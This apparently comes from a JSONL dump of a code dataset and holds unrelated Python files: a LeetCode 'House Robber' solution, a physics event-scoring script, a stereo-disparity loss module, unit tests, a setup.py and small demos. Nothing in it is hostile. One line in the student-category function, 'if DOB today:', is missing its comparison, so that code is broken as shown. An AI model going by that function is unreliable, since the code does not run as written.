TASKS \n \n uri='%s/tasks/' % (job_dict['uri'], )\n logging.debug(uri)\n logging.info('getting the list of tasks at %s...' % (uri, ))\n response, content = h.request(uri=uri, method='GET', body='')\n logging.info('%d %s' % (response.status, response.reason))\n assert response.status == 200\n task_list = json.loads(content)\n logging.debug(task_list)\n \n # logging.info('!!!!!!READY TO EXECUTE %d TASKS!!!!!!' % (len(task_list, )))\n logging.info('!!!!!!READY TO RUN THE EXPERIMENT!!!!!!')\n \n for task_dict in task_list:\n \n if task_dict['step']>3:\n \n raw_input('press ENTER when you want to execute the next task...')\n uri='%s/run' % (task_dict['uri'], )\n logging.debug(uri)\n logging.info('executing the task at %s...' % (uri, ))\n headers = {'Content-Length' : '0'}\n response, content = h.request(uri=uri, method='PUT', body='', headers=headers)\n logging.info('check the status of this request at %s' % (response['location'], ))\n logging.info('%d %s' % (response.status, response.reason))\n \n logging.info('CONGRATULATIONS! JOB COMPLETED!')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cotefe-y3-demo/scripts/demo_TFA_2B_job_execution.py","file_name":"demo_TFA_2B_job_execution.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"2730100","text":"# You are a professional robber planning to rob houses along a street. Each \n# house has a certain amount of money stashed, the only constraint stopping you from \n# robbing each of them is that adjacent houses have security systems connected and \n# it will automatically contact the police if two adjacent houses were broken \n# into on the same night. \n# \n# Given an integer array nums representing the amount of money of each house, \n# return the maximum amount of money you can rob tonight without alerting the \n# police. \n# \n# \n# Example 1: \n# \n# \n# Input: nums = [1,2,3,1]\n# Output: 4\n# Explanation: Rob house 1 (money = 1) and then rob house 3 (money = 3).\n# Total amount you can rob = 1 + 3 = 4.\n# \n# \n# Example 2: \n# \n# \n# Input: nums = [2,7,9,3,1]\n# Output: 12\n# Explanation: Rob house 1 (money = 2), rob house 3 (money = 9) and rob house 5 \n# (money = 1).\n# Total amount you can rob = 2 + 9 + 1 = 12.\n# \n# \n# \n# Constraints: \n# \n# \n# 1 <= nums.length <= 100 \n# 0 <= nums[i] <= 400 \n# \n# Related Topics Array Dynamic Programming 👍 8368 👎 210\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nfrom typing import List\n\n\nclass Solution:\n def rob(self, nums: List[int]) -> int:\n if not nums:\n return 0\n\n size = len(nums)\n if size == 1:\n return nums[0]\n\n dp = [0] * size\n dp[0] = nums[0]\n dp[1] = max(nums[0], nums[1])\n for i in range(2, size):\n dp[i] = max(dp[i - 2] + nums[i], dp[i - 1])\n\n return dp[size - 1]\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\nsolution = Solution()\nsolution.rob([1, 2, 3, 1])\n","sub_path":"leetcode/editor/en/[198]House Robber.py","file_name":"[198]House Robber.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"128527585","text":"import joblib\nimport numpy as np\nimport pandas\nimport sys\nimport uproot\nfrom tensorflow.keras.models import load_model\nfrom datetime import datetime\npandas.set_option('mode.use_inf_as_na', True)\n\n\"\"\"This function creates sample of events (pandas DataFrame) based on the variables that were provided.\nAlso includes some extra variables, and eventID.\"\"\"\ndef Sample_constructor(df):\n\n df = df[df.eventID >= 0]\n df = df[df.nSCBayes > 0]\n df.fillna(0, inplace=True)\n\n df.loc[:,'TF2Z_mblZ'] = df.loc[:,'timefit2Z'] - df.loc[:,'mblikelihoodZ']\n df.loc[:,'sqrt'] = np.sqrt((df.loc[:,'timefit2X'] - df.loc[:,'mblikelihoodX'])**2+(df.loc[:,'timefit2Y'] - df.loc[:,'mblikelihoodY'])**2+(df.loc[:,'timefit2Z'] - df.loc[:,'mblikelihoodZ'])**2)\n df.loc[:,'cbr_qpe'] = df.loc[:,'chargebottomring']/df.loc[:,'qPE']\n df.loc[:,'csbr_qpe'] = df.loc[:,'chargesecondbottomring']/df.loc[:,'qPE']\n df.loc[:,'ctbr_qpe'] = df.loc[:,'chargethirdbottomring']/df.loc[:,'qPE']\n df.loc[:,'cer_qpe'] = df.loc[:,'chargeequatorring']/df.loc[:,'qPE']\n df.loc[:,'ctr_qpe'] = df.loc[:,'chargetopring']/df.loc[:,'qPE']\n df.loc[:,'csr_qpe'] = df.loc[:,'chargesecondring']/df.loc[:,'qPE']\n df.loc[:,'nhit_nscbayes'] = df.loc[:,'nhit']/df.loc[:,'nSCBayes']\n df.loc[:,'nhit_qpe'] = df.loc[:,'nhit']/df.loc[:,'qPE']\n df.loc[:,'cbr_csbr_ctbr_qpe'] = (df.loc[:,'chargebottomring'] + df.loc[:,'chargesecondbottomring'] + df.loc[:,'chargethirdbottomring'])/df.loc[:,'qPE']\n df.loc[:,'ctr_csr_qpe'] = (df.loc[:,'chargetopring'] + df.loc[:,'chargesecondring'])/df.loc[:,'qPE']\n\n #df = df[~df.isin([np.nan, np.inf, -np.inf]).any(1)]\n\n return df\n\ndef get_pmt_nscbayes(ftree):\n\n print(\"read to arrays\", datetime.now().time())\n a_nSC_pmt = ftree.array(\"nSCBayes_pmt\")\n a_runid = ftree.array(\"runID\")\n a_subrunid = ftree.array(\"subrunID\")\n a_eventid = ftree.array(\"eventID\")\n a_nSCBayes = ftree.array(\"nSCBayes\")\n a_mblikelihoodZ = ftree.array(\"mblikelihoodZ\")\n\n\n print(\"convert to dataframe\", datetime.now().time())\n df_nn_input = pandas.DataFrame(a_nSC_pmt)\n\n df_ids = pandas.DataFrame({'runID': a_runid})\n df_ids['subrunID'] = a_subrunid\n df_ids['eventID'] = a_eventid\n df_ids['nSCBayes'] = a_nSCBayes\n df_ids['mblikelihoodZ'] = a_mblikelihoodZ\n\n return df_nn_input, df_ids\n\ndef score(input_xgb, clf_xgb, input_rf, clf_rf):\n\n print(\"\\n Started scoring...\", datetime.now().time(), flush=True)\n scores_xgb = clf_xgb.predict_proba(input_xgb)\n scores_rf = clf_rf.predict_proba(input_rf)\n\n scores_xgb = np.around(scores_xgb[:,1], decimals=3)\n scores_rf = np.around(scores_rf[:,1], decimals=3)\n\n return scores_xgb, scores_rf\n\ndef score_nn(df_nn, clf_nn):\n\n #sample_nn = df_nn.drop(['runID','subrunID','eventID','nSCBayes','mblikelihoodZ'],axis=1)\n #sample_nn = pandas.DataFrame(df_nn)\n sample_nn = np.array(df_nn)\n sample_nn[sample_nn == -1] = 0\n sum_nscbayes = sample_nn.sum(axis=1)\n #sample_nn = sample_nn.div(sum_nscbayes, axis='rows')\n sample_nn = sample_nn / sum_nscbayes[:, np.newaxis]\n sample_nn = np.reshape(sample_nn, sample_nn.shape + (1,))\n scores_nn = clf_nn.predict(sample_nn)\n return scores_nn\n\n\ndef export_scores(df_ids, df_nn, scores_xgb, scores_rf, scores_nn, foutput):\n\n df_ids[\"scoreXGB\"] = scores_xgb\n df_ids[\"scoreRF\"] = scores_rf\n df_ids.to_csv(foutput, index=False, header=False)\n\n foutput_nn = foutput[:-4]\n foutput_nn = foutput_nn + \"_nn.csv\"\n df_nn[\"scoreNN\"] = scores_nn\n df_nn.to_csv(foutput_nn, index=False, header=False)\n\nif __name__ == \"__main__\":\n ntp_file = sys.argv[1]\n slim_file = sys.argv[2]\n output_dir = sys.argv[3]\n treename = sys.argv[4]\n xgb_model = sys.argv[5]\n rf_model = sys.argv[6]\n nn_model = sys.argv[7]\n\n\n filelist = ntp_file.split(\"/\")\n namelist = str(filelist[-1])\n filename = namelist[:-5]\n\n print(\"\\n processing file: \")\n print(ntp_file, datetime.now().time(), flush=True)\n\n df_branches = ['timefit2X', 'timefit2Y', 'mblikelihoodY', 'mblikelihoodX', 'chargebottomring', 'chargesecondbottomring', 'chargethirdbottomring', 'chargeequatorring', 'chargetopring', 'chargesecondring', 'nhit', 'qPE','fmaxnsc', 'lratioB', 'lratioC', 'mblikelihoodZ', 'mblikelihoodRho','mblikelihoodR', 'timefit2Z', 'timefit2Rho', 'centroidZ','pmtidfirstpulse', 'pulseindexfirstgar', 'pulseindexfirstgarLT65','pulseindexfirstgarLT55', 'pulseindexfirstgarLT45','pulseindexfirstgarLT40', 'pulseindexfirstgarLT30','pulseindexfirstgarLT25', 'pulseindexfirstgarLT20','pulseindexfirstgarLT10', 'pulseindexfirstgarLT5','fmaxpeprompt', 'lratioB2', 'mblikelihoodKS', 'mblikelihoodKuiper', 'nmaxpe1', 'nmaxpe2', 'nmaxpe3', 'nmaxpe4', 'runID','subrunID','eventID','nSCBayes']\n\n ids = ['runID','subrunID','eventID','nSCBayes','mblikelihoodZ']\n\n print(\"\\n reading slim file...\", datetime.now().time(), flush=True)\n slim_tree = uproot.open(slim_file)[\"slimTree\"]\n nn_input, nn_ids = get_pmt_nscbayes(slim_tree)\n #print(nn_input.info(verbose=False, memory_usage=\"deep\"))\n\n print(\"\\n Using NN...\", datetime.now().time(), flush=True)\n nn = load_model(nn_model)\n output_nn = score_nn(nn_input, nn)\n #nn_ids = nn_input[ids]\n\n tree = uproot.open(ntp_file)[treename]\n data = tree.pandas.df(df_branches)\n print(\"\\n Tree is converted to DataFrame with uproot package.\", datetime.now().time(), flush=True)\n #print(data.info(verbose=False, memory_usage=\"deep\"))\n sample = Sample_constructor(data)\n\n print(\"\\n Starting scoring with decision trees models!\", flush=True)\n\n xgb = joblib.load(xgb_model)\n print(\"\\n XGBoost is imported\", datetime.now().time(), flush=True)\n\n rf = joblib.load(rf_model)\n print(\"\\n Random Forest is imported\", datetime.now().time(), flush=True)\n\n features = ['fmaxpeprompt', 'fmaxnsc', 'lratioB', 'lratioB2', 'lratioC','mblikelihoodZ', 'mblikelihoodRho', 'mblikelihoodR', 'mblikelihoodKS', 'mblikelihoodKuiper', 'timefit2Z', 'timefit2Rho', 'centroidZ', 'pmtidfirstpulse', 'pulseindexfirstgar', 'pulseindexfirstgarLT55', 'pulseindexfirstgarLT30', 'pulseindexfirstgarLT25', 'nmaxpe1','nmaxpe2', 'nmaxpe3', 'nmaxpe4', 'TF2Z_mblZ', 'sqrt', 'ctr_csr_qpe','cbr_csbr_ctbr_qpe', 'cbr_qpe', 'csbr_qpe', 'ctbr_qpe', 'cer_qpe','ctr_qpe', 'csr_qpe', 'nhit_nscbayes', 'nhit_qpe']\n\n features2 = ['fmaxpeprompt', 'fmaxnsc', 'lratioB', 'lratioB2', 'lratioC', 'mblikelihoodZ', 'mblikelihoodRho', 'mblikelihoodR', 'mblikelihoodKS', 'mblikelihoodKuiper', 'timefit2Z', 'timefit2Rho', 'centroidZ', 'pmtidfirstpulse', 'pulseindexfirstgar', 'pulseindexfirstgarLT65', 'pulseindexfirstgarLT55', 'pulseindexfirstgarLT45', 'pulseindexfirstgarLT40', 'pulseindexfirstgarLT30', 'pulseindexfirstgarLT25', 'pulseindexfirstgarLT20', 'pulseindexfirstgarLT10', 'pulseindexfirstgarLT5', 'nmaxpe1', 'nmaxpe2', 'nmaxpe3', 'nmaxpe4', 'TF2Z_mblZ', 'sqrt', 'ctr_csr_qpe', 'cbr_csbr_ctbr_qpe', 'cbr_qpe', 'csbr_qpe', 'ctbr_qpe', 'cer_qpe', 'ctr_qpe', 'csr_qpe', 'nhit_nscbayes', 'nhit_qpe']\n\n output_xgb, output_rf = score(sample[features], xgb, sample[features2], rf)\n df_ids = sample[ids]\n\n print(\"\\n Success: Scoring is done.\", datetime.now().time(), flush=True)\n print(\"\\n Exporting scores...\", datetime.now().time(), flush=True)\n\n output_file = output_dir + \"/\" + filename+ \"_scores.csv\"\n\n export_scores(df_ids, nn_ids, output_xgb, output_rf, output_nn, output_file)\n\n print(\"\\n Exporting successful...\", datetime.now().time(), flush=True)\n","sub_path":"mva/mva_script.py","file_name":"mva_script.py","file_ext":"py","file_size_in_byte":7462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"632041622","text":"from haf.wsgi.util import SeeOther\nfrom operator import itemgetter\nfrom db import libmember\nfrom page.format_date import format_date,get_Age\nfrom datetime import date,datetime\n\n\ndef get_category_for_student(DOB):\n category = ''\n today = date.today()\n if DOB today:\n age = today.year - DOB.year - 1\n else:\n age = today.year - DOB.year\n \n if age in range(15,18):\n category = 'A'\n elif age in range(13,15):\n category = 'B'\n elif age in range(11,13):\n category = 'C'\n elif age in range(9,11):\n category = 'D'\n elif age<=8:\n category = 'E'\n return category\n\n\ndef _common(app_context, data):\n #\n group = data.get(\"group\")\n if not group:\n group = 'all'\n #\n students_list = libmember.get_user_list_with_user_filter(is_tournament_player = 1, has_played = 1)\n\n for s in students_list:\n #\n if s['dob']:\n category = get_category_for_student(s['dob'])\n s['category'] = category\n s['dob_formatted'] = format_date(s['dob'])\n if s[\"is_basic\"]:\n s[\"account_type\"] = \"Basic\"\n elif s[\"is_advanced\"]:\n s[\"account_type\"] = \"Advance\"\n elif s[\"is_academy_basic\"]:\n s[\"account_type\"] = \"Junior\"\n else:\n s[\"account_type\"] = \"Intermediate\"\n \n students_list = sorted(students_list,key=itemgetter('full_name'))\n #students_list = sorted(students_list,key=itemgetter('account_type'))\n students_list = sorted(students_list,key=itemgetter('category'))\n #\n data[\"students_list\"] = students_list\n #\n\ndef GET(app_context, data):\n #\n _common(app_context, data)\n \n","sub_path":"bgc/bgc/src/page/admin_students_list.py","file_name":"admin_students_list.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"615034437","text":"import unittest\nimport unittest.mock as mock\nfrom unittest.mock import patch\nimport os\nimport sys\nfrom collections import OrderedDict\n\n\nsys.path.append(os.path.abspath('../'))\nfrom app import leader_winner\nimport models\n\nKEY_INPUT = \"input\"\nKEY_INPUT1 = \"input1\"\nKEY_EXPECTED = \"expected\"\nWINNER = \"hello\"\nLOSER = \"there\" \n\n\nuserOne = models.Leaders(username=WINNER, wins=100)\nuserTwo = models.Leaders(username=LOSER, wins=100)\n\n\nclass LeaderBoardTestCase(unittest.TestCase):\n def setUp(self):\n self.success_test_params = [\n {\n KEY_INPUT: WINNER,\n KEY_INPUT1: LOSER,\n KEY_EXPECTED: {WINNER: 101, LOSER: 99},\n \n },\n \n ]\n \n \n self.initial_db_mock = {userOne.username: userOne.wins, userTwo.username: userTwo.wins} \n \n \n def mocked_db_session_leader_update(self,username):\n if username == WINNER:\n return userOne\n \n if username == LOSER:\n return userTwo\n \n def mocked_db_session_commit(self):\n pass\n \n \n \n def test_success(self):\n for test in self.success_test_params:\n with patch('app.db.session.query') as mocked_query:\n mocked_query(models.Leaders).get = self.mocked_db_session_leader_update\n with patch('app.db.session.commit', self.mocked_db_session_commit):\n \n \n print(\"this is the mocked db\")\n print(self.initial_db_mock)\n print(\"this is actual results\")\n actual_result = leader_winner(test[KEY_INPUT], test[KEY_INPUT1])\n print(actual_result)\n expected_result = test[KEY_EXPECTED]\n print(\"this is expected resuts\")\n print(expected_result)\n \n \n \n self.assertEqual(len(actual_result), len(expected_result))\n self.assertEqual(actual_result[WINNER],expected_result[WINNER])\n self.assertEqual(actual_result[LOSER],expected_result[LOSER])\n \n #self.assertEqual(actual_result[LOSER],expected_result[LOSER])\n \n \n \n\n\nif __name__ == '__main__':\n unittest.main()\n ","sub_path":"mock_unit_test.py","file_name":"mock_unit_test.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"286267492","text":"'''Testing constructed module\r\n\r\nMain test with examples are in Jupyter notebook\r\n'''\r\nimport urllib.request\r\nfrom pathlib import Path\r\nimport os\r\nimport pandas as pd\r\nimport pytest\r\nimport numpy as np\r\nfrom dataframe_stats import StatisticalDescription\r\n\r\ndef load_iris_dataset():\r\n \"\"\"Loads iris dataset from official url. Script is used because pytest constantly showed\r\n error during the sklearn.datasets.load_iris import\r\n \"\"\"\r\n url = 'https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data'\r\n column_names = ['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'class']\r\n\r\n filepath = Path('data/iris_data')\r\n filepath.parent.mkdir(exist_ok=True)\r\n\r\n urllib.request.urlretrieve(url, str(filepath))\r\n df = pd.read_csv(str(filepath), names=column_names)\r\n\r\n filepath.unlink()\r\n df.to_csv(filepath, index=False)\r\n\r\n return df.iloc[:, 0:4] # Return only numerical columns\r\n\r\n@pytest.fixture()\r\ndef iris_dataset():\r\n df = load_iris_dataset()\r\n return df\r\n\r\ndef test_summarizer_and_caclulate_stats(iris_dataset):\r\n summarizer = StatisticalDescription(iris_dataset.columns)\r\n assert summarizer is not None\r\n statistics = summarizer.populate_df(iris_dataset)\r\n expected_shape = (13, 4)\r\n # print('my stats shape:',statistics.shape)\r\n assert statistics is not None\r\n assert statistics is not None\r\n assert statistics.shape == expected_shape","sub_path":"dataframe_summarizer/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"325429073","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\ndef local_contrast_norm(image, kernel_size=9, eps=1e-5):\n \"\"\"compute local contrast normalization\n input:\n image: torch.tensor (batch_size, 1, height, width)\n output:\n normed_image\n \"\"\"\n assert (kernel_size % 2 == 1), \"Kernel size should be odd\"\n batch_size, channel, height, width = image.shape\n assert (channel == 1), \"Only support single channel image for now\"\n unfold = nn.Unfold(kernel_size, padding=(kernel_size - 1) // 2)\n unfold_image = unfold(image) # (batch, kernel_size*kernel_size, height*width)\n avg = torch.mean(unfold_image, dim=1).contiguous().view(batch_size, 1, height, width)\n std = torch.std(unfold_image, dim=1, unbiased=False).contiguous().view(batch_size, 1, height, width)\n\n normed_image = (image - avg) / (std + eps)\n\n return normed_image, std\n\n\nclass Fetch_Module(nn.Module):\n def __init__(self, padding_mode=\"zeros\"):\n super(Fetch_Module, self).__init__()\n self.padding_mode = padding_mode\n\n def forward(self, right_img, disp):\n assert disp.shape == right_img.shape\n batch_size, channel, height, width = right_img.shape\n\n x_grid = torch.linspace(0., width - 1, width, dtype=disp.dtype, device=disp.device) \\\n .view(1, 1, width, 1).expand((batch_size, height, width, 1))\n y_grid = torch.linspace(0., height - 1, height, dtype=disp.dtype, device=disp.device) \\\n .view(1, height, 1, 1).expand((batch_size, height, width, 1))\n\n x_grid = x_grid - disp.permute(0, 2, 3, 1)\n x_grid = (x_grid - (width - 1) / 2) / (width - 1) * 2\n y_grid = (y_grid - (height - 1) / 2) / (height - 1) * 2\n xy_grid = torch.cat([x_grid, y_grid], dim=-1)\n\n reproj_img = F.grid_sample(right_img, xy_grid, padding_mode=self.padding_mode)\n\n return reproj_img\n\n\nclass Windowed_Matching_Loss(nn.Module):\n def __init__(self, lcn_kernel_size=9, window_size=33, sigma_weight=2,\n invalid_reg_weight=1.0, invalid_weight=1.0):\n super(Windowed_Matching_Loss, self).__init__()\n self.lcn_kernel_size = lcn_kernel_size\n self.window_size = window_size\n self.sigma_weight = sigma_weight\n self.invalid_reg_weight = invalid_reg_weight\n self.invalid_weight = invalid_weight\n self.fetch_module = Fetch_Module()\n\n def forward(self, preds, data_batch):\n left_ir, right_ir = data_batch[\"img_sim_L\"], data_batch[\"img_sim_R\"]\n batch_size, channel, height, width = left_ir.shape\n assert (channel == 1)\n lcn_left_ir, left_std = local_contrast_norm(left_ir, self.lcn_kernel_size)\n lcn_right_ir, _ = local_contrast_norm(right_ir, self.lcn_kernel_size)\n\n disp = preds[\"refined_disp\"]\n reproj_ir = self.fetch_module(lcn_right_ir, disp)\n reconstruct_err = F.l1_loss(lcn_left_ir, reproj_ir, reduction='none')\n C = left_std * reconstruct_err\n if self.window_size != 1:\n assert (self.window_size % 2 == 1)\n unfold = nn.Unfold(self.window_size, padding=(self.window_size - 1) // 2)\n C = unfold(C) # (batch_size, window_size*window_size, height*width)\n Ixy = unfold(lcn_left_ir)\n wxy = torch.abs(lcn_left_ir.view(batch_size, 1, -1) - Ixy)\n wxy = torch.exp(-wxy / self.sigma_weight)\n C = (C * wxy).sum(1) / (wxy.sum(1))\n\n losses = {}\n # losses[\"C\"] = C\n if \"invalid_mask\" in preds.keys() and \"right_disp\" in preds.keys():\n invalid_mask = preds[\"invalid_mask\"]\n invalid_reg_loss = (- torch.log(1 - invalid_mask)).mean()\n losses[\"invalid_reg_loss\"] = invalid_reg_loss * self.invalid_reg_weight\n C = C.view(left_std.shape)\n rec_loss = (C * (1 - invalid_mask)).mean()\n # rec_loss = C.mean()\n losses[\"rec_loss\"] = rec_loss\n\n right_disp = preds[\"right_disp\"]\n reproj_disp = self.fetch_module(right_disp, disp)\n\n disp_consistency = torch.abs(disp - reproj_disp)\n invalid_mask_from_consistency = (disp_consistency > 1).float()\n invalid_loss = (-torch.log(invalid_mask) * invalid_mask_from_consistency\n - torch.log(1 - invalid_mask) * (1 - invalid_mask_from_consistency)).mean()\n losses[\"invalid_loss\"] = invalid_loss * self.invalid_weight\n else:\n losses[\"rec_loss\"] = C.mean()\n\n return losses\n\n\nclass Supervision_Loss(nn.Module):\n def __init__(self, invalid_weight=1.0):\n super(Supervision_Loss, self).__init__()\n self.invalid_weight = invalid_weight\n\n def forward(self, preds, data_batch):\n coarse_disp_pred = preds[\"coarse_disp\"]\n refined_disp_pred = preds[\"refined_disp\"]\n disp_gt = data_batch[\"disp_map\"]\n coarse_disp_gt = F.interpolate(disp_gt, (coarse_disp_pred.shape[2], coarse_disp_pred.shape[3]))\n\n invalid_mask_pred = torch.clamp(preds[\"invalid_mask\"], 1e-7, 1 - 1e-7)\n invalid_mask_gt = data_batch[\"invalid_mask\"]\n valid_mask_gt = 1 - invalid_mask_gt\n coarse_valid_mask_gt = F.interpolate(valid_mask_gt, (coarse_disp_pred.shape[2], coarse_disp_pred.shape[3]))\n\n invalid_loss = -(torch.log(invalid_mask_pred) * invalid_mask_gt + torch.log(1 - invalid_mask_pred) * (\n 1 - invalid_mask_gt)).mean()\n\n refined_disp_loss = (torch.abs(refined_disp_pred - disp_gt) * valid_mask_gt).sum() / (\n valid_mask_gt.sum() + 1e-7)\n coarse_disp_loss = (torch.abs(coarse_disp_pred - coarse_disp_gt) * coarse_valid_mask_gt).sum() / (\n coarse_valid_mask_gt.sum() + 1e-7)\n\n return {\n \"coarse_disp_loss\": coarse_disp_loss,\n \"refined_disp_loss\": refined_disp_loss,\n \"invalid_loss\": invalid_loss * self.invalid_weight,\n }\n\n\ndef test_lcn(image_path):\n import cv2\n source_image = cv2.imread(image_path, 0)\n source_image_tensor = torch.tensor(source_image).float().unsqueeze(0).unsqueeze(0)\n normed_image = local_contrast_norm(source_image_tensor)\n normed_image = normed_image.squeeze().numpy()\n import matplotlib.pyplot as plt\n plt.imshow(normed_image)\n plt.show()\n\n\ndef test_fetch():\n batch_size = 2\n height, width = 240, 320\n disp = 10\n\n left_image = torch.rand((batch_size, 1, height, width)).float()\n pad = torch.zeros((batch_size, 1, height, disp)).float()\n disp_map = torch.ones((batch_size, 1, height, width + disp)).float() * disp\n\n right_image = torch.cat([left_image, pad], dim=-1)\n\n fetch_module = Fetch_Module()\n reproj_image = fetch_module(right_image, disp_map)[:, :, :, disp:]\n\n print(torch.allclose(left_image, reproj_image, atol=1e-4))\n\n\nif __name__ == '__main__':\n # test_lcn(\"/media/rayc/文档/我的坚果云/SU Lab/sofa_0/coded_light/0.png\")\n # test_fetch()\n import numpy as np\n from tqdm import tqdm\n from activestereonet.data_loader.sulab_indoor_active import SuLabIndoorActiveSet\n\n max_disp = 136\n dataset = SuLabIndoorActiveSet(\n root_dir=\"/home/xulab/Nautilus/\",\n mode=\"train\",\n max_disp=max_disp,\n view_list_file=\"/home/xulab/Nautilus/example.txt\"\n )\n\n # dataset = SuLabIndoorActiveSet(\n # root_dir=\"/home/rayc\",\n # mode=\"train\",\n # max_disp=max_disp,\n # view_list_file=\"/home/rayc/sulab_active/example.txt\"\n # )\n\n data_batch = {}\n for k, v in dataset[1].items():\n if isinstance(v, torch.Tensor):\n data_batch[k] = v.unsqueeze(0).cuda()\n else:\n data_batch[k] = v\n loss_func = Windowed_Matching_Loss(window_size=25)\n preds = {\"refined_disp\": data_batch[\"disp_map\"]}\n loss_dict = loss_func(preds=preds, data_batch=data_batch)\n # for k, v in loss_dict.items():\n # print(k, v)\n\n # visualize matching cost along one row\n gt_disp = data_batch[\"disp_map\"][0, 0].cpu().numpy()\n height, width = gt_disp.shape\n\n import matplotlib.pyplot as plt\n\n left_ir, right_ir = data_batch[\"left_ir\"], data_batch[\"right_ir\"]\n lcn_left_ir, left_std = local_contrast_norm(left_ir, loss_func.lcn_kernel_size)\n lcn_right_ir, _ = local_contrast_norm(right_ir, loss_func.lcn_kernel_size)\n lcn_left_ir = lcn_left_ir.cpu().numpy()[0, 0]\n lcn_right_ir = lcn_right_ir.cpu().numpy()[0, 0]\n\n C_dict = {}\n C_dict[\"gt\"] = loss_dict[\"C\"].cpu().numpy().reshape((height, width))\n disp_array = []\n for disp in tqdm(np.arange(0, max_disp, 2)):\n disp = float(disp)\n disp_array.append(disp)\n preds = {\"refined_disp\": torch.ones((1, 1, height, width)).float().cuda() * disp}\n loss_dict = loss_func(preds=preds, data_batch=data_batch)\n C_dict[disp] = loss_dict[\"C\"].cpu().numpy().reshape((height, width))\n\n # for k, v in C_dict.items():\n # print(k, v.shape)\n disp_array = np.array(disp_array)\n chosen_row_idx = (100, 200, 300, 400, 500)\n chosen_col = 400\n\n fig, axs = plt.subplots(nrows=2, ncols=2, constrained_layout=True, figsize=(20, 16))\n gt_disp_vis = gt_disp.copy()\n for row_idx in chosen_row_idx:\n gt_disp_vis[row_idx, :] = 300\n gt_disp_vis[:, chosen_col] = 300\n ax = axs[0, 0]\n ax.imshow(gt_disp_vis)\n ax.scatter((chosen_col,)*len(chosen_row_idx), chosen_row_idx, marker='^', c='r', s=5)\n ax.set_title(\"GT disp\")\n # plt.colorbar()\n # plt.show()\n\n ax = axs[0, 1]\n ax.set_title(\"LCN Left IR\")\n ax.imshow(lcn_left_ir)\n ax.scatter((chosen_col,)*len(chosen_row_idx), chosen_row_idx, marker='^', c='r', s=5)\n\n\n ax = axs[1, 1]\n gt_disp_dict = {}\n min_disp_dict = {}\n for row_idx in chosen_row_idx:\n matching_cost = []\n for disp in disp_array:\n matching_cost.append(C_dict[disp][row_idx, chosen_col])\n matching_cost = np.array(matching_cost)\n ax.plot(disp_array, matching_cost, label=f\"{row_idx}\")\n gt_disp_dict[row_idx] = gt_disp[row_idx, chosen_col]\n min_disp_dict[row_idx] = disp_array[matching_cost.argmin()]\n\n ax = axs[1, 0]\n ax.set_title(\"LCN right IR\")\n ax.imshow(lcn_right_ir)\n for row_idx in chosen_row_idx:\n ax.scatter(chosen_col-gt_disp_dict[row_idx], row_idx, marker='*', c='r', s=10)\n ax.scatter(chosen_col-min_disp_dict[row_idx], row_idx, marker='s', c='b', s=5)\n\n for k, v in gt_disp_dict.items():\n print(k, \"gt: \", v, \"min: \", min_disp_dict[k])\n\n plt.legend()\n plt.show()\n\n # gt_disp_loss = {}\n # rand_disp_loss = {}\n #\n # for window_size in tqdm(np.arange(5, 27, 2)):\n # window_size = int(window_size)\n # loss_func = Windowed_Matching_Loss(window_size=window_size)\n # preds = {\"refined_disp\": data_batch[\"disp_map\"]}\n # loss_dict = loss_func(preds=preds, data_batch=data_batch)\n # gt_disp_loss[window_size] = loss_dict[\"rec_loss\"].cpu().numpy()\n # preds = {\"refined_disp\": torch.rand((1, 1, 600, 800)).float().cuda() * max_disp}\n # loss_dict = loss_func(preds=preds, data_batch=data_batch)\n # rand_disp_loss[window_size] = loss_dict[\"rec_loss\"].cpu().numpy()\n #\n # for k in sorted(gt_disp_loss.keys()):\n # print(k, \"gt: {:.4f}, rand: {:.4f}\".format(gt_disp_loss[k], rand_disp_loss[k]))\n\n","sub_path":"models/loss_functions.py","file_name":"loss_functions.py","file_ext":"py","file_size_in_byte":11309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"335132201","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\n\nversion = \"0.4\"\n\nREQUIREMENTS = [i.strip() for i in open(\"requirements.txt\").readlines()]\n\nsetup(\n name=\"pyblinktrade\",\n version=version,\n packages = [\n \"pyblinktrade\",\n ],\n author=\"Rodrigo Souza\",\n install_requires=REQUIREMENTS,\n author_email='r@blinktrade.com',\n url='https://github.com/blinktrade/pyblinktrade',\n license='http://www.gnu.org/copyleft/gpl.html',\n description='Blinktrade python api library'\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"36226453","text":"import random\nimport wx\n\nclass Frame(wx.Frame):\n def __init__(self):\n super(Frame, self).__init__(None)\n self.SetTitle('Title')\n panel = wx.Panel(self)\n style = wx.ALIGN_CENTRE | wx.ST_NO_AUTORESIZE\n self.text = wx.StaticText(panel, style=style)\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.AddStretchSpacer(1)\n sizer.Add(self.text, 0, wx.EXPAND)\n sizer.AddStretchSpacer(1)\n panel.SetSizer(sizer)\n self.on_timer()\n def on_timer(self):\n self.text.SetLabel(str(random.randint(0, 100)))\n wx.CallLater(1000, self.on_timer)\n\nif __name__ == '__main__':\n app = wx.App()\n frame = Frame()\n frame.Show()\n app.MainLoop()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"75092726","text":"# coding: utf-8\nimport 